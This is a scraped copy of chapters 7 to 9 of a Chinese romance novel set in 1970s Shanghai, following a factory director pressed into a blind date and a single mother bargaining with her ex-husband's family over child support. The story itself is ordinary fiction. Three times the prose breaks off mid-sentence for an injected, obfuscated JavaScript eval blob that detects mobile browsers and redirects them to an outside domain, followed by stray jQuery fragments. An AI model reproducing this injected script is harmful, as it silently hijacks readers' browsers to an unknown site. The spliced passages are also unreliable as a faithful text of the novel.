《娇美人带娃改嫁沪上大佬[七零]》
7. 第 7 章
“我说还是厂长您考虑的周全,要不那个女同志又得淋雨。”
说完,小王从后视镜小心翼翼的打量着后面。
只是天色已经黑下来了,陈勋庭本就莫测的神情在昏暗环境中,更加难以看清楚。
“厂长。”过了会儿,小王忍不住,试探着又说:“其实之前我来给您开车之前,常听人说……说您是个,是个刚正莫测的大人物,但是我感觉吧,您只是注重工作,而且也很会替下面的群众着想,您……是个好领导。”
陈勋庭仍是没说话。
其实小王说的还是太含蓄了。
刚来跟着陈勋庭的时候,小王其实是害怕的。
厂里人都说,厂长是个狠角色,对上刚直有独到的见解,对下有铁血手腕也能以理服人,技术层面他是留学归来,人际方面,他性格虽冷,但背景雄厚,再加上能力实在出众,多的是人想在他面前哪怕只是混个脸熟。
这样一个方方面面都优秀的男人,冷峻也罢古板也罢,他都已经足够优秀了。
但是这一个多月下来,小王渐渐发现,其实陈厂长也并没有那么可怕。
至少,在你没有犯错的时候,他没有多余的心思搭理你。
他的全部生活几乎都在工作上,甚至连家庭都只能分得少的可怜的关注。
想到这里,小王忍不住替厂长操心。
厂长已经三十了,谁家男人这个岁数都已经老婆孩子热炕头了,可陈厂长家里还是冰冷冷的一个院子,唯一亲近的,也就只有爷爷奶奶了,但因为工作忙,去探望的时间也不多。
倒是有两个一年前收养的孩子,可厂长脾气可不讨孩子喜欢,日常用度一应不缺,但他跟孩子也不算亲近。
“走错路了。”
“……”
小王手放在刹车上,回过神来。
刚才经过一个岔路口,本来该转弯的,他因为走神却一直走了。
“王小海。”陈勋庭少有的喊了小王的全名,语气冷的人害怕,“你知道开车走神,是很严重的错误吗?”
小王:“……知道,我错了厂长。”
“有些错误可以挽回,但这种跑神的错误,很容易酿成大错。”
“……厂长,对不起。”
“你中专学什么专业的?”
小王已经瑟瑟发抖起来,慌乱开口,“是,是汽配,我腕骨受了伤不能再下车间,然后之前您说我理论知识不过关,就让我现在您身边学习顺便给您开车。”
“上学时候什么课最无聊?”
“啊?《工程力学》,都是概念跟理论,所以就……”
“抄一遍。”
“……???”
“抄完了拿给我看。”
“……好的厂长。”
小王现在一整个人都丧丧的了,刚才他在心里说厂长一点也不可怕来着,他错了!
犯错的时候,厂长最可怕了!!
很快,车停在了一处外表装潢就十分精致的洋房面前。
小王是本地人,他知道这里以前是租界,后来和平了,这里先是被空置,政府接手后一部分就地改装成了退休老干部的住宅,这里,是他从前想都不敢想的房子。
雨仍旧没停。
小王下车给陈勋庭撑伞,雨滴落在伞面上,两人刚走出去两步,陈勋庭转而想起来什么,又退了回来。
小王立刻明白,“我去拿。”
他从后座拿出了今天纺织厂送的一盒礼品毛巾,这毛巾算是高档货,上面还绣了吉祥如意的字,寓意很好,老人家一定喜欢。
“你还知道回来,小兔崽子!”
门刚打开,就听见楼上一声中气十足的呵斥。
小王把人送进去就离开了,等明天再过来接他,陈勋庭自己拎着礼品盒,随手放到了客厅桌子上。
“爷爷。”陈勋庭恭敬的示意,又说:“跟您二位约好的日子吃饭,我自然要回来。”
顿了顿,陈勋庭看了眼礼品盒:“上次奶奶说毛巾用完了,本来说要买,今天炼钢厂搬迁,旁边的纺织厂孟厂长拿过来的。”
陈铁军拄着拐走下楼,满鬓斑白的老人家却气势十足,昂首挺胸的像是在走军步。
他身后,张秀卿也跟着走了下来,跟老伴不同,张秀卿瞧见大孙子,就满眼笑意。
“这雨下这么大,你打个电话说改天也行,我知道你工作忙,那厂子里一天到晚的都是事儿,我们俩人老了,别管我们就行。”
陈勋庭摇摇头:“奶奶我没事,我去厨房摘菜,等会儿给您二位做饭。”
“你歇着,下午你喊人送来的菜我都处理好了,等会儿让老马炒一下就成。”张秀卿说着,又瞪了一眼陈铁军:“你少给孙子使脸色,一天天就你脾气大。”
陈铁军冷哼了一声,独自坐到了沙发上。
老马是陈铁军年轻时候的警卫员,这些年年纪大了,也跟着搬了过来,照顾老两口生活起居。
他见这情况,默默拿了菜去做饭,转头看见桌子上的礼品盒,正要帮忙收起来,却被陈勋庭拦了一下。
“等一下马叔。”
陈勋庭说着,眉头紧锁着单独抽出来了其中一盒,失神了一刻,便随手放到了门口的柜子上。
“怎么了勋庭?”
“没事,这个今天下雨擦衣服用过了,回头我带走。”
张秀卿示意老马先走,自己拉着大孙子坐了下来。
“勋庭啊,今天喊你过来除了吃饭,另外有个事儿想跟你商量。”
“什么商量。”陈铁军的拐棍敲了敲桌子,中气十足:“是命令!”
陈勋庭幽幽坐着,抬眸看过去:“爷爷,我不是您的兵,您的命令也对我没用。”
“你小子现在胆子是越来越肥了!”陈铁军气的胡子都要翘起来,“这次你不听也得听,没用也得用!”
张秀卿推了一把老伴儿,在旁边打圆场,“其实这事儿是为了你好,勋庭啊,你也老大不小了,以前说你没孩子怎么办,你倒是好,接了两个回来,可你这每个媳妇儿还是不行啊。”
“孩子有阿姨照顾,不需要。”
“什么孩子,我说的是你。”张秀卿刚才慈祥的神色严肃起来,“我知道陈家对不住你,可你不能拿自己的终身大事开玩笑,你要是再不找媳妇儿,我就当是你在怪奶奶没有照顾好你。”
“……”陈勋庭叹了口气:“奶奶,您这么威胁我没用的,这招数都用几年了,我真是没有成家的打算,对我而言,工作上的事情远大于我自己。”
“等你找个媳妇儿,你就知道工作上的事儿,还是不如媳妇儿重要了。”
陈勋庭:“不是的奶奶,我是真心觉得工作的事情更重要,我连自己都觉得自己比不上工作,如果娶个媳妇儿回来,我照顾不周,不是要委屈别人吗?”
张秀卿循循善导:“你要是有喜欢的,碰见那种一见倾心的,你就不会照顾不周。”
“……我没有喜欢的。”
“你没见怎么知道没有?”
“……”
“奶奶。”
陈勋庭有些无奈,他要是知道这次吃饭又是为了结婚的事儿,一准不会过来。
“陈勋庭!”陈铁军忍不住了,站起来拿拐棍就要往陈勋庭身上打:“软的不吃,喂你点硬的看你还吃不吃!老子这么多年过来,就没见过哪个男人说自己不要女人的!”
陈勋庭没有躲闪,站着,硬生生挨了一棍子。
老头子没下重手,敲在了胳膊上,可敲的也不轻,应该都起印子了,但陈勋庭愣是一声都没吭。
张秀卿匆忙去阻拦,陈铁军没想到他真就硬挨了这一下,最终冷哼一声,坐了回去。
“爷爷,您打也打了,就放过我这次吧。”陈勋庭呼吸有些沉重,眉眼间,带着淡淡的疲倦。
张秀卿眼泪都掉下来,好半天过去,才擦了眼泪开口。
“勋庭啊,你爸妈都不在,我们俩咋能看着你孤身一辈子呢?本来小时候就委屈了你,现在咋也想让你过的幸福点,至少有个家庭,我们俩百年以后才能安心。”
“可是奶奶……”
“你别找那些借口了,左右我都听腻了,这次我们已经跟你二婶交代过了,她在街道办工作,给您参谋着找个合适的,你结不结婚,再考虑,但是相亲得去一趟,就当是给你自己一个机会也行。”
听张秀卿这样讲,陈勋庭犹豫了一下。
就当是去应付了事吧。
“好,我去相亲。”
“诶!”张秀卿一下子来了精神,“你相亲想见个啥样的,你二婶儿那边认识不少好姑娘。”
“……”
陈勋庭沉默了,女人在他世界里,容量占比恐怕连百分之一都没有。
真要说个具体的类型……
很突然的,陈勋庭脑海里冒出来一个陌生又熟悉的曼妙身影。
俩人可真是缘分。
但……
陈勋庭淡淡道:“随意吧,我这个年纪,也不用找太小的,耽误了人家也不好,我还有两个孩子,估计没多少姑娘愿意接受。”
“那可说不准,缘分这种东西,天注定的,改明儿你得去街道办走一趟,给你婶子说说。”
陈勋庭算是默认了。
也许是打了孙子,陈铁军觉得愧疚,一顿饭下来,都没再怎么说话,直到陈勋庭要离开的时候,才转身将自己提前买的一些水果递给他让他拿回去。
张秀卿送陈勋庭出门,外面的雨已经停了。
“你爷爷就这个脾气,胳膊还疼吗?”
“不疼了奶奶,我没事。”
“俩孩子都挺好吧,放假了带过来,我给你带一段。”
“知道了。”
陈勋庭的院子距离这边不算远,他走了大概十几分钟就到了。
“东家回来了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814737|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
家里照顾孩子的周姨替陈勋庭开门后,从他手里接过袋子。
“知道东家今儿要自己去看老爷子,我就带着俩孩子先吃过饭了,东家这水果我给您洗洗,这……这毛巾?”
周姨一愣,这怎么有一条用过的毛巾?
“……放架子上晾着吧,不用管。”
“知道了。”
“他们两个呢?”
这问的是两个孩子,大的十六岁叫陈文杰,小的才六岁叫陈文星。
“文星已经睡了,文杰应该在写作业,我去帮您喊他?”
“不用了,周姨,你也休息吧。”
收拾后,很快,屋子里只剩下了陈勋庭一个人,他坐在沙发上,翻动着报纸,等时间到了十点,院子里,陈文杰住的那间房子的灯‘啪’的灭了。
整个院子,就又剩下了陈勋庭身边的一盏台灯。
又过了一会儿,陈勋庭站起身进了卧室,台灯被熄灭,屋子暗了下来。
黑暗中,陈勋庭少有的……失眠了。
他向来忙,白天一件事接着一件事等着他去处理、批示,连睡觉时间都是在计算中。
可今天,陈勋庭躺在床上。
清晰的听着自己的呼吸声,失眠了。
……
而在孟家,同样有人失眠。
“今天你的事儿我爸跟我提了一嘴,清树,你不能总是这么粗心大意的。”
顾清树有些烦躁。
在厂里被孟厂长训,在家里又被孟厂长的女儿念叨,实在是烦。
“我知道了。”顾清树叹了口气,站起身,温柔的抱着妻子孟婉,“我这不是还年轻,还在学习,文件最后我找到了,爸那边应该已经消气了,你也就别再说我了,好不好?”
“我没有说你,我就是提醒你一下。”孟婉温柔的解释。
“嗯嗯,我知道婉婉最好了。”
孟婉被夸的不好意思,笑了笑,“对了,今天还听说你亲戚找你去了,咋回事儿,我咋不知道你家还欠人钱,都能把人家逼的找到厂里去。”
“害,是那那种远房的乡下亲戚,乡下人都是这样,动不动就想着去厂里闹啊说啊的,没一点体面。”顾清树面不改色,说出自己提前编好的谎话。
“那也就是说,你家真的欠别人钱?”
顾清树笑着点头:“是我爸当年遇到困难借了点钱,他记性不好给忘了,现在想起来,自然是要还钱的。”
“外地人来一趟不容易。”孟婉认真的道:“以前不记得了就算了,现在知道了,还是早点把钱还给人家吧,主要是再去厂里,我爸那边也不高兴。”
顾清树紧了紧拳头,脸色有些难看,松开胳膊,独自坐到了旁边难过。
“怎么了清树?”
“……婉婉,你知道的,咱俩结婚,我家也花了不少钱,我爸现在手里……钱不多了,其实攒攒也能还得起,但是你也说了,人家来一趟不容易,就等着这几天把钱都给要回去,要不然说还要去厂里闹。”
“怎么这样?”孟婉皱起眉,秀气的五官带着一丝愠怒:“这就有点不讲道理了,又不是不还,不能再宽限些日子吗?”
“他们说不行,所以我也发愁。”
顿了顿,顾清树犹豫着开口:“婉婉,能不能……把你的体己钱先借我用点,我爸妈很快就能还上,婉婉,帮帮我爸吧。”
孟婉犹豫了一下,“什么你爸我爸,都是咱爸,唉,要借多少?”
“六百。”
“……你们干什么了欠这么多?”
“我爸当年骨折做手术的钱。”
他早就把话准备好等着孟婉了,孟婉拒绝,他也仍有一番说辞,到最后,孟婉还是架不住答应了他。
“婉婉,我就知道你最好!”顾清树说着,主动上前再次抱住了孟婉。
孟婉人被家里保护的很好,向来是吃软不吃硬,三两句话的功夫,又被顾清树哄得眉开眼笑。
她清秀的眉眼笑起来很可爱,顾清树赞叹了一句,惹得孟婉脸都红了。
可今天,灯光下,顾清树却怎么都觉得,她的相貌,比平时更加清汤寡水。
甚至是……无趣。
“想什么呢?”孟婉抽走自己的手,“我去洗澡了。”
“没想什么,你先去吧。”
顾清树看着孟婉离开的背影,猛烈地摇了摇头,将脑袋晃的有些晕了,这才停下来。
第二天,顾清树赶在上班前,把钱拿给了父母。
刚见,顾清树就厌恶的开口:“赶紧把钱给沈家人,让她以后再也不许去厂里,不然我不会再对她客气!”
钱腊梅瞥了一眼儿子,“孟婉那边没生气吧。”
“没有,她那边好说,赶紧去吧。”
钱腊梅去没有先去招待所,而是先去找了自己的大闺女顾清华。
她可没忘,她还有个给沈晚月找男人的任务呢。
8. 第 8 章
昨天的雨并没有让城市的温度降下去,一大早,空气里仍旧带着黏腻潮热的水汽。
陈勋庭走得早,两个孩子还没有起床,他去带了三份馄饨再回来,独自吃完后,便走出了家门。
小王:“厂长,政府有个早会,咱们这会儿过去还能提前十分钟到。”
“先不去。”
陈勋庭想起昨天奶奶的话,抬手捏了捏眉心,“先去一趟厂里,昨天纺织厂的文件有点问题。”
“是。”
黑色轿车缓缓行驶出这条街区,路过街道办事处办公楼时,陈勋庭侧目过去,片刻,还是收回了目光。
“这孩子。”
街口一处大院子门外,陈宏伟看着轿车没有停下的意思,叹了口气。
席巧兰解开围裙从屋里走出来,远远瞥了一眼就明白了,“看吧,我就说他肯定不答应,你这个当二叔的还没我猜的准,就他这个脾气要真能去相亲,恐怕现在连孩子都生好几个,至于养俩别人家的在家当累赘嘛。”
“行了。”陈宏伟皱皱眉,“你这话说了让孩子们听见影响不好,以后少说。”
席巧兰撇撇嘴也没再继续,换了个话题,“你记得送孙子上学,我去上班了。”
“等会儿,我有办法。”
陈宏伟想了想,转头扬声喊:“陈胜利!”
一个带着眼镜的男人嘴里叼着半个酥饼跑了出来,“咋了?”
“中午你有时间找你大哥一趟,你奶奶让他去相亲,我看他这意思,没人盯着八成又不去了,你去跟着他。”
闻言,陈胜利脸色立刻耷拉下来,“别呀,他那性格能听我的吗?我我我,我中午报社要外采,你喊我姐去!”
“你姐昨晚上在医院做手术加班就没回来,就你去,这是给你的任务。”
“……”
陈胜利叹了口气,无奈只能应了下来,转头一想中午要去见陈勋庭,唉声叹气的出了门。
没办法,谁让家里就他跟大哥关系最好,而且最重要的,家里就他能被使唤的动。
陈家二房一共有四个孩子,老大陈健康在外地当兵,媳妇儿随军,只留了个半大的孩子在家里让老两口给帮忙带着,老二陈若楠在医院,常年加班忙的脚不沾地,还有个老四陈向前,前年送到燕京读书了。
家里就他一个壮丁,不抓他抓谁去!
“胜利。”
陈胜利刚跨上自行车,“咋了云姨?”
席巧云笑着问:“你也参加工作两年了,一直没机会问你,有没有相亲的想法?你跟我说说喜欢的类型,我们组织部那边也方便给你找合适的。”
“等我大堂哥啥时候结了婚,我再找也不迟。”说着,陈胜利还是客气道:“谢谢云姨,我暂时还是不用了。”
“行,那你路上慢点。”
等他走远了,席巧云叹了口气。
这后妈确实是不好当,说句话也总得拿捏着分寸,不过好在他男人这几个孩子都是好相处的,这十几年来她也没有被为难什么。
很快,席巧云挎着包到了街道办。
她是组织部的组长,除了单位的工作,平时忙的最多的,也就是给男男女女们说亲了,今儿还约了个前同事,也不知道几点过来。
顾清华来的时候,恰好就看席巧云在发愣。
“席组长?”
“……诶,来了清华。”席巧云回过神,又看见顾清华身后还有一个正当龄的女同志,“这就是你那个小姑子吧,姓孙,叫孙燕对吗?”
孙燕点点头,顾清华也连忙笑着问好,又说:“这孩子二十一了,在二小当小学老师,这不是想着带过来在你这边挑一挑,咱们老同事了,巧云姐,你可得帮忙把把关。”
“有什么条件吗?”席巧云翻着自己这边记录的名册,“这个年纪好说的很,你小姑子又有工作,男同志她完全可以随便挑。”
孙燕坐下后便打量着办公室,这会儿听见问自己,才抬了抬下巴,细声说:“我想找个家庭条件好,工作也好的,最好……最好是个干部之类的,太差的我看不上。”
席巧云手上动作一顿,深深看了过去。
孙燕长相普通,但人瘦瘦的,还算清秀,只是眼神里的傲气压不住。
席巧云:“孙燕同志,干部我这边也有,只是你的条件,也得经过别人家同意才可以见面。”
顾清华陪着笑,“这些我们知道,其实条件差不多就……”
“反正最起码也得是个小领导,不能比我哥更差。”孙燕皱眉打断道。
席巧云叹了口气,“别的呢?长相有要求吗?”
“没有。”孙燕是个目标明确,“我就要领导,我的条件也不算差,而且我也年轻,我觉得人家见了我的照片大部分都会同意。”
说着,孙燕掏出一张自己的黑白照片来。
席巧云将照片收了起来,顿了顿,忽然想到了什么,打量了孙燕一会儿。
“怎么了?”孙燕摸了摸自己的辫子。
“我这边确实有个人选,是个干部,而且还是个不小的领导,只是比你大九岁,今年三十了,家里……还有两个孩子。”
顾清华皱皱眉:“不行,我们家燕子可是正经的大闺女,三十岁还有俩孩子,这也差太大了。”
“可以考虑。”孙燕却打算了自己嫂子的话:“他是什么领导?”
席巧云笑了笑,“我只能跟你说比你哥的领导还要大个几级,不过还得问过男同志的意思以后,他同意见面了才能跟你说其他情况。”
孙燕想了半天。
他哥在人社局是副局长,难不成是……局长?
这么高层的领导,她还没见过呢,条件肯定差不到哪儿去,有孩子也不怕,家里条件好吃不了苦,再说了,等自己嫁过去再生了孩子,就更不怕了。
“成。”孙燕点了头,忍不住又问:“他姓什么?”
“陈。”
说定了这个,席巧云又给孙燕介绍了其他几个男同志,可惜都不满足孙燕要‘干部领导’的要求。
等孙燕走后,顾清华却没急着离开。
“巧云姐,我这儿还有个女同志。”
顾清华斟酌着语言,将沈晚月的情况说了一遍。
“这小沈情况就是这样,算是我家远房亲戚,我的表妹,他们家来一趟不容易,你看要有合适的也帮忙说说,没有那么高的要求,有个工作给她们娘仨个住处就行。”
席巧云心里感叹着这女同志的胆气,一边在纸上做记录,将沈晚月的情况写了下来。
席巧云:“沈晚月,有照片吗?”
“小地方来的哪儿有照片,不过模样挺标致的,就看人家男方愿不愿意接受她的条件了。”
“放心,我帮着多问问,这几天……”
“巧云姐,能不能今儿就给帮忙找个合适的,她……你也知道,她是外地来的,家里急着回去呢。”
席巧云闻言,还真想出来一个人,从抽屉里扒拉了半天,扒拉出来一张折叠纸,里面带着一张黑白照片。
“倒是有个现成的男同志,不过他条件不好,这都放了一年多了,也没女同志愿意。”
说着,席巧云将纸递过去:“这人叫钟强,三十岁整,在纺织厂里当车间工人,家里女人生病走几年了,家里就有个四岁的女娃娃,母亲也有病,条件不太好,但是不挑人,只要求是个女同志就行,住的是亭子间,但好歹也算有个屋檐。”
“成,就他。”
顾清华也不犹豫,直接点了头,反正沈晚月的要求就是有工作有住处,她觉得这个钟强就跟沈晚月挺配的。
-
“……三十?”
招待所,沈立民凑到姐姐身边看着那男人照片皱起眉,“这照片咋看都是二十来岁啊,我说你们不是骗人呢吧。”
这次,顾家父母带着顾清华一块儿来了招待所。
顾清华笑了笑,语气温柔:“我也是有孩子的人,这不肚子里还揣着一个,都是当妈的,我理解你姐的心情,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814738|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咋能给她说个骗子呢,人家这是头些年参加工作的照片,照相贵,也就一直没换,但模样也不丑,而且符合晚月提的条件,你看要成了,就约个时间跟他见见面。”
她见沈晚月没反应,又补充:“要是看对眼了,对方当天就能跟你领证,你两个兄弟也好安心回家去。”
沈晚月仍是没说话。
这照片上的男人的确不丑,正常人的五官长相,也有个厂里的稳定工作,但这个年代,如果仅仅只是找个女人这么简单的条件,不应该这么久了还没找到续弦。
沈晚月将照片扣在桌子上,柔声笑了笑:“这个先不急,还是先拿两个孩子的抚养费吧,都拖几天了。”
钱腊梅咬咬牙,肉疼的从怀里掏出一个信封。
那信封有些厚度,里面毛钞跟整张大团结加在一起,叠成了一小块。
“数数。”沈晚月将信封扔给沈立民。
“一五一十,二五……”
屋里安静下来,只剩下哗啦啦的数钱声跟吐唾沫声,沈立民查了半天,皱起眉,“一千八,姐……”
“还有二百上次给你了。”钱腊梅急忙补充,“你收下了,忘了吗?”
“那个啊。”沈晚月点点头:“我没忘,但那个不是给两个孩子补的压岁钱吗?”
“你!”
钱腊梅拍着桌子站起来,“沈晚月,你不要得寸进尺。”
沈晚月幽幽叹了口,“钱阿姨,我只是在争取两个孩子应有的权益呀,不信的话,您联系一下法院?”
钱腊梅:“……”
顾清华拉了拉母亲的胳膊,笑着开口:“妹子啊,我知道你不是那种说话不算话的人,说了事成后不再纠缠我们家顾清树,我信你肯定能做到,可是……
其实你不必这么跟我们作对,你既然想留在沪市,以后说不定还得跟我们打交道呢,就算身为陌生人,谁知道那天有没有求着帮忙的时候呢?你跟我们处的关系好点,将来要是真有困难,万一我家也能搭把手呢。”
表面上说的搭把手,说白了,还是在威胁沈晚月。
“用不着!”沈立民听的晕晕乎乎,但也觉得听完心里不舒服,“你们把钱给了就行,我们才不用你们帮忙!”
“你能说得准以后吗?”顾清华打量着沈晚月:“除非你不在沪市,不然同在一个地区,谁能做永久的保证?沪市可不是小地方,比你们想象中难混多了。”
顾清华的段位确实比钱腊梅两口要高。
她想让沈晚月保证以后有困难也不找他们,或者,她其实是想让沈晚月知难而退,离开沪市。
“你说的没错。”
沈晚月点头,“以后的事儿现在是说不准的。”
“这就对了。”顾清华笑了,“还是晚月妹子聪明……”
“所以啊,我不能总想以后,得把握住现在才行。”沈晚月也笑眯眯,打断了顾清华,“现在能拿的抚养费,我为什么不拿?钱阿姨,差两百,要不要先打个欠条?”
顾清华:“……”
被沈晚月这么一堵,顾家人有气没地方撒,最后还是顾清华拍板,把剩下的两百块拿了出来。
“抚养费也给了,妹子,你看相亲的事儿呢?”
沈晚月:“这个钟强是不是家里还有别的事儿你没跟我说?”
顾清华是第一次见沈晚月。
她从前在弟弟口中听过,本以为只是个普通乡下女人,最多有点姿色。
可这次过来才知道,怨不得弟弟愣是纠纠结结了五年才下定决心跟她断开,这女人实在是漂亮极了,独有一番气质,而且,比她想象中要聪明太多。
“……有个生病的老娘,除了这个,都跟你说了,你要同意,就见见面,这是我们目前能找到的最好的了。”
“晚月,你觉得呢?”一直没说话的沈建国开了口。
他们已经住了快一星期了。
沈晚月沉默了片刻,轻飘飘的点了头,“先见一下面吧,不过成与不成,还得两说。”
9. 第 9 章
沈晚月这边点了头,顾清华走的时候,直接用招待所的电话给街道办组织部打了个过去。
“男方还不知道,所以见面时间得等那边去问一下才能定下来,到时候就直接打招待所的电话,你们注意接听。”
“知道了。”
沈建国跟沈晚月陪同着一块儿下了楼,等顾家人走了以后,沈立民满脸好奇,带着两个孩子下了楼。
“怎么把他么带下来了?”沈建国皱起眉,瞪着沈立民。
这几天考虑到外面是火车站,人多眼杂的怕有人贩子,就把两个孩子的活动范围限制在了房间跟招待所的院子里。
沈立民有些委屈:“他们俩闹着要跟出来的,况且我看他们一直在里面也太闷了点。”
“带他们出来走走吧,昨天我跟立民出去,看到前面有个人少的公园,给他们放放风,小孩子不能总拴着。”
“好耶!妈妈伟大,我最爱妈妈了!”沈天凯欢呼了一声,冲过去抱着沈晚月的胳膊。
“谢谢妈妈!”沈琪琪也眼睛亮亮的。
琪琪是个非常安稳的孩子,远比同龄人要成熟很多,正如书里所写,她是个智商绝对超群的天才,但天才的童年,也是需要玩闹的。
如果不是现在情况特殊,沈晚月绝不会拴着他们不让出去。
有了沈晚月一锤定音,三个大人带着两个孩子散步去了火车站不远处的公园,等到了以后,趁着沈建国看着两个孩子,沈立民拉着沈晚月去了旁边的石凳坐着。
“姐,你别管哥怎么说,也别管我,你就按你自己的想法来,要是看不上那个什么强,咱们就让他们顾家慢慢找,实在不行了,你跟我们回老家去。”
沈晚月:“我会的,不过回老家还是算了。”
沈立民抿抿嘴,沉默着没有再说话。
他刚才说的是真心话。
他在家里最亲的就是这个姐姐,可他也明白,姐姐在家一直带着孩子住着,乡下容易被人背后议论,爸跟嫂子那边也要有意见。
姐回家了,反而更容易受委屈,尤其是姐现在有钱了,保不准就被谁惦记上了。
“妈妈——”
两个孩子从没见过这么大的公园绿地,天凯跟个脱缰野马似的到处疯跑,琪琪也是好奇的四处观望。
这会儿可能是跑累了,天凯带着满脑袋的汗冲了过来。
天凯结果小舅随身带着的茶壶灌了两口水,又蹭到了妈妈身边,“妈妈,刚才大舅跟我们说,你要给我们找新的爸爸对不对?”
沈晚月抬眼看了看沈建国。
沈建国有些无奈:“提前跟他们知会一声,别到时候闹出岔子,我也是怕他们害怕不接受什么的。”
“不会的。”身量更小的沈琪琪脆生生的接话,“只要妈妈开心,我们两个不会给妈妈添乱。”
她说着,一胳膊抡到沈天凯的手上,“赶紧的,给妈妈立个保证!”
“嗷嗷嗷!”沈天凯立刻有模有样的举起拳头,一副要宣誓的样子,“我保证,我一定保护好妈妈,有了新爸爸,也会乖乖听妈妈的话!”
沈晚月被沈天凯逗笑了。
这孩子是个没心没肺的,宣誓完了,转头看见只鸽子,瞪大眼睛,‘咕咕哒’着就又跑走了。
笑完了,沈晚月这才把目光投到沈琪琪的身上。
小姑娘从刚才开始,其实手里的拳头就一直紧紧攥着。
琪琪是个非常聪明的宝宝,从沈晚月苏醒第一眼就知道。
那时候,小小的孩子扑到自己身上,低声说着都怪她自己,如果没有她拖累,妈妈就不会日子艰难。
当时沈晚月心就软了。
她并不是个跟孩子接触很多的人,突然当妈,却让她在那一瞬间体会到了什么叫做心疼。
心疼孩子,心疼原身。
如果自己没有穿过来,这两个孩子的命运可能就是沦落成跟书中那样,大的因为顽劣长大后出了意外,小的聪明无比,却心有怨气,郁郁而终。
书中只感叹她们不是男女主的血脉所以不争气,可谁又能知道,在她们童年时期经历过什么?
其实沈晚月当时大可以开启新的人生。
可躺在床上时,沈晚月握着琪琪柔软的小手,感受着小姑娘热腾腾流下来的泪珠子,她当晚便做了决定,绝对会带着两个孩子,这才一起来了沪市。
“琪琪,你来。”
沈晚月招招手,将女儿搂在了怀里,稍微用用力,想要把她抱到腿上时,沈琪琪却摇摇头。
“妈妈身体还没彻底好呢,我自己坐。”
沈晚月心又软成了一片。
她将自己的手包裹住女儿的小拳头,缓慢又轻柔的安抚着:“你在担心对不对?”
沈琪琪倔强的摇头:“没有,妈妈不用操心我。”
“琪琪,你想让妈妈放心,但我们是母女,你心里的感觉我总能体会到一些,真的想让妈妈放心的话,可以试着将心里的话跟妈妈说一说,好吗?”
或许是沈晚月的语气太温柔了。
从前沈琪琪那颗很容易不安的心,这会儿竟然有种找到依靠的踏实感觉。
妈妈……跟以前不太一样了。
“琪琪,你可以试着相信一下妈妈,我有能力保护你们的。”
“让我猜猜,琪琪宝贝心里在难受,或者说,在担心以后的日子,对不对?”
许久许久,小姑娘低下了头。
“嗯。”
小姑娘的手攥的更紧了,“我……我怕妈妈以后会比在姥爷家里,还被欺负。”
“不会的。”
沈晚月用力握住了女儿的小拳头,“我跟你保证,绝对不会,你忘了吗?我们现在有钱,有生活的底气,就算是过得不好,也可以再重新开始。”
“那……”
沈琪琪瘪着嘴,终于忍不住,红了眼眶,“那有了新爸爸,妈妈会不会不喜欢我了。”
“不可能。”沈晚月再次保证。
“我绝对不会不喜欢琪琪跟天凯,不论你们是砸了隔壁邻居家的窗户,还是跟往婶娘的饭碗里放虫子,我永远永远,都会喜欢你跟天凯,我跟你保证琪琪,我可以……”
思前想后,第一次哄孩子的沈晚月迷茫的说:“我可以给你们写个保证书,或者跟天凯一样宣誓。”
沈琪琪手里,小姑娘的的拳头慢慢松开。
随后,小小一点的指头尖勾住了沈晚月的小拇指。
“拉钩?”
沈晚月松了口气,很认真很严肃:“拉钩!”
“拉钩上吊一百年不许变,谁变谁是小蚂蚁!”
“盖章!”
“好。”
一大一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814739|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小两个拇指尖尖,一下子紧密的贴在了一起。
小姑娘贴的很用力,好像这样,这个章就真的印在了手指上,印在了心底。
沈晚月:“我再去跟天凯盖章。”
沈琪琪扫了一眼在草地上打滚的哥哥,扭过头嘟起嘴吧,“他手上全是泥,还是算了吧妈妈,以后妈妈不喜欢他了,我觉得完全正常!”
“……”
小小的天凯此刻还在朝着鸽子傻乐,笑呵呵的招手让沈琪琪过去一起玩。
沈琪琪嘟着嘴,哼了一声,扭过头没有搭理他。
天凯也不在意,也哼了一声,自己玩自己的去了。
不过,等到了晚上,沈晚月还是在沈天凯洗过手以后,跟他也印了个印章,不过这孩子玩的太累了,还没印完,到头就睡了过去,一旁的沈琪琪看着,要不是沈晚月拦着,又要给哥哥一个脑瓜崩。
-
市政府办公楼外。
小王看见陈勋庭开完会出来,连忙小跑着过去接过他手里的提包。
在车里坐了一下午的陈胜利打了个哈欠,远远的朝着陈勋庭摆手,“我的哥,我的祖宗,你可算是出来了,看在我请假过来等你一下午的份儿上,你就答应了行了行。”
‘嘭’的一声,车门被关上。
大热天的,陈胜利莫名感觉到一股寒气,缩了缩脖子,嘴巴闭了起来。
